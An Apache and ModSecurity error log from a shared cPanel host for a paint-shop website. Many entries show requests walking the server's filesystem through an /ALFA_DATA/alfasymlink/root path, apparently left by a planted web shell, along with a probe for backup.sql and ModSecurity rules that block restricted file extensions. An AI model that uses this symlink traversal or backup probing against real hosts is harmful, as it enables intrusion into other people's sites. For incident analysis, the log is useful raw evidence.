[Sat Oct 24 14:41:02.730197 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 35.169.240.53:2320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:41:09.292455 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 85.208.96.193:11182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/object_size
[Sat Oct 24 14:41:30.386658 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 44.213.36.21:52404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/event3/device/device/subsystem/devices/serio1/driver/bind
[Sat Oct 24 14:41:34.103892 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.13:60806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/closing_wait
[Sat Oct 24 14:41:34.351320 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 100.29.160.53:33091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:41:42.270739 2026] [ssl:error] [pid 2677775:tid 2677775] (5)Input/output error: [client 52.2.4.213:50577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:41:46.425772 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.215.221.125:8772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:41:50.273189 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.194.14.255:31006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:41:54.294769 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.236.41.241:31546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/wakeup/wakeup2/device/physical_node/driver/0000:00:01.3/driver/module/sections/__param
[Sat Oct 24 14:42:06.344910 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 44.218.6.93:4031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:42:14.300502 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.204.174.139:16317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:42:18.271379 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 100.28.57.133:41207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS1/io_type
[Sat Oct 24 14:42:26.264821 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.202.233.37:55643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:42:46.257628 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 54.164.106.236:54284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:42:58.279819 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.112.101:59867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:04.948437 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 185.191.171.8:26034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/alloc_calls
[Sat Oct 24 14:43:06.201913 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 54.84.250.51:52360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 14:43:14.272494 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.203.237.170:51271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:18.172147 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.229.164.203:39959] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:19.627873 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.15:20756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:22.183956 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.212.106.171:60014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:26.229500 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 50.16.248.61:45923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:29.896739 2026] [security2:error] [pid 2677843:tid 2677843] [client 185.191.171.14:49234] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/tabs.inc"] [unique_id "atz8UYrDEr-C1RJ7dLmAkwAAAAg"]
[Sat Oct 24 14:43:29.897083 2026] [security2:error] [pid 2677843:tid 2677843] [client 185.191.171.14:49234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/tabs.inc"] [unique_id "atz8UYrDEr-C1RJ7dLmAkwAAAAg"]
[Sat Oct 24 14:43:29.897565 2026] [security2:error] [pid 2677843:tid 2677843] [client 185.191.171.14:49234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/tabs.inc"] [unique_id "atz8UYrDEr-C1RJ7dLmAkwAAAAg"]
[Sat Oct 24 14:43:33.349494 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 85.208.96.201:28288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/sanity_checks
[Sat Oct 24 14:43:38.350908 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 18.215.24.66:43315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:42.241223 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 184.73.68.20:13621] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:46.235824 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.21.204.95:9842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:43:54.336887 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 34.234.200.207:59518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:02.239325 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.3.127.170:54204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:03.218811 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 185.191.171.5:35318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/cache_dma
[Sat Oct 24 14:44:14.342779 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.80.130.239:8032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:22.239582 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.205.163.103:44328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:26.261536 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 23.21.204.95:53429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:29.629463 2026] [security2:error] [pid 2677788:tid 2677788] [client 162.62.231.139:45872] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/casarin2/"] [unique_id "atz8jWHlETSj29Thy_T7RQAAAAM"]
[Sat Oct 24 14:44:34.182501 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.232.39.98:21277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:44:54.202181 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 98.82.214.73:53565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_blk/uevent
[Sat Oct 24 14:45:06.168627 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.195.248.30:16253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:10.241201 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.218.6.93:52838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:14.214598 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.89.90.224:28641] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:22.174142 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.231.156.59:8809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:26.178051 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 3.93.98.99:24486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:42.418983 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.83.23.103:64320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:45:51.334868 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.12:52918] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/uk/index.db"] [unique_id "atz83w5nrLV5krwbFOTxQQAAAA4"]
[Sat Oct 24 14:45:51.335252 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.12:52918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/uk/index.db"] [unique_id "atz83w5nrLV5krwbFOTxQQAAAA4"]
[Sat Oct 24 14:45:51.335593 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.12:52918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/uk/index.db"] [unique_id "atz83w5nrLV5krwbFOTxQQAAAA4"]
[Sat Oct 24 14:45:58.195796 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.202.52.82:29994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:46:02.241249 2026] [security2:error] [pid 2677776:tid 2677776] [client 54.87.62.248:58261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/subsystem/"] [unique_id "atz86mZJIyiQiKFtr2-5fAAAABU"]
[Sat Oct 24 14:46:02.241294 2026] [security2:error] [pid 2677776:tid 2677776] [client 54.87.62.248:58261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/subsystem/"] [unique_id "atz86mZJIyiQiKFtr2-5fAAAABU"]
[Sat Oct 24 14:46:07.445434 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.11:50042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/slabs
[Sat Oct 24 14:46:18.373269 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.73.6.26:28278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:46:30.336595 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 100.28.133.214:2091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:46:38.329076 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.213.213.161:27263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:46:46.381115 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 50.19.221.48:6157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:46:50.182256 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 18.233.24.238:31085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/module/uevent
[Sat Oct 24 14:46:58.369783 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.157.84.74:4872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:47:10.209673 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.85.109.140:36584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:47:18.241342 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 107.22.208.39:31535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:0a/eject
[Sat Oct 24 14:47:26.209902 2026] [security2:error] [pid 2684557:tid 2684557] [client 3.227.180.70:19283] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory6/"] [unique_id "atz9PiLwkWVVQiyMc7N74QAAAAs"]
[Sat Oct 24 14:47:26.209944 2026] [security2:error] [pid 2684557:tid 2684557] [client 3.227.180.70:19283] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory6/"] [unique_id "atz9PiLwkWVVQiyMc7N74QAAAAs"]
[Sat Oct 24 14:47:38.197739 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 98.83.178.66:51567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:47:39.648067 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 85.208.96.196:22398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/aliases
[Sat Oct 24 14:47:46.159722 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.0.41.164:53190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:47:50.263593 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.207.47.227:37260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:47:54.184289 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.7.13.143:38762] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:48:02.300834 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.157.99.244:8855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:48:03.646620 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 85.208.96.194:28496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/__ksymtab_strings
[Sat Oct 24 14:48:06.212349 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.235.215.92:3267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:48:07.849956 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.15:50878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/ctor
[Sat Oct 24 14:48:26.176242 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 35.173.38.202:42186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:48:42.228506 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.25.120.246:57260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:48:48.152703 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 185.191.171.6:36884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objects
[Sat Oct 24 14:48:54.345093 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.205.222.214:54330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:49:07.578610 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 185.191.171.14:42448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/objs_per_slab
[Sat Oct 24 14:49:10.307661 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 52.2.83.227:63735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS3/uartclk
[Sat Oct 24 14:49:18.193650 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 184.73.167.217:56924] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:49:20.885909 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 85.208.96.193:14096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:49:37.585190 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.3:43524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/wwwacct
[Sat Oct 24 14:49:38.157902 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.2.58.41:16729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/new_id
[Sat Oct 24 14:49:50.199838 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 44.195.50.71:15565] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:06.171053 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.144.185.255:31309] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:10.202681 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 184.73.68.20:9083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event3/subsystem/input1/event1/device/device/firmware_node/physical_node1/drvctl
[Sat Oct 24 14:50:18.329455 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.45.15.233:22597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:22.151950 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.5.232.250:32405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:30.221763 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.2.83.227:9122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:34.177228 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 3.94.156.104:21555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:38.233963 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.225.138.57:27291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:46.281217 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 23.22.105.143:50789] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:50:50.217955 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.84.60.17:60881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:02.239382 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.21.62.139:39368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:10.244390 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 18.235.81.246:2911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:18.213404 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.144.185.255:8265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:22.157415 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 3.212.86.97:53026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/crash_notes
[Sat Oct 24 14:51:30.157227 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 35.168.238.50:54274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:35.017885 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 85.208.96.210:42536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:04.0/rescan
[Sat Oct 24 14:51:38.171758 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 184.73.167.217:5654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:46.036669 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 85.208.96.196:19872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu
[Sat Oct 24 14:51:54.269201 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 98.83.177.42:36730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:51:58.310049 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.226.106.93:28918] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:52:05.889657 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "atz-VYrDEr-C1RJ7dLmAowAAAAg"]
[Sat Oct 24 14:52:05.890131 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "atz-VYrDEr-C1RJ7dLmAowAAAAg"]
[Sat Oct 24 14:52:05.891201 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atz-VYrDEr-C1RJ7dLmAowAAAAg"]
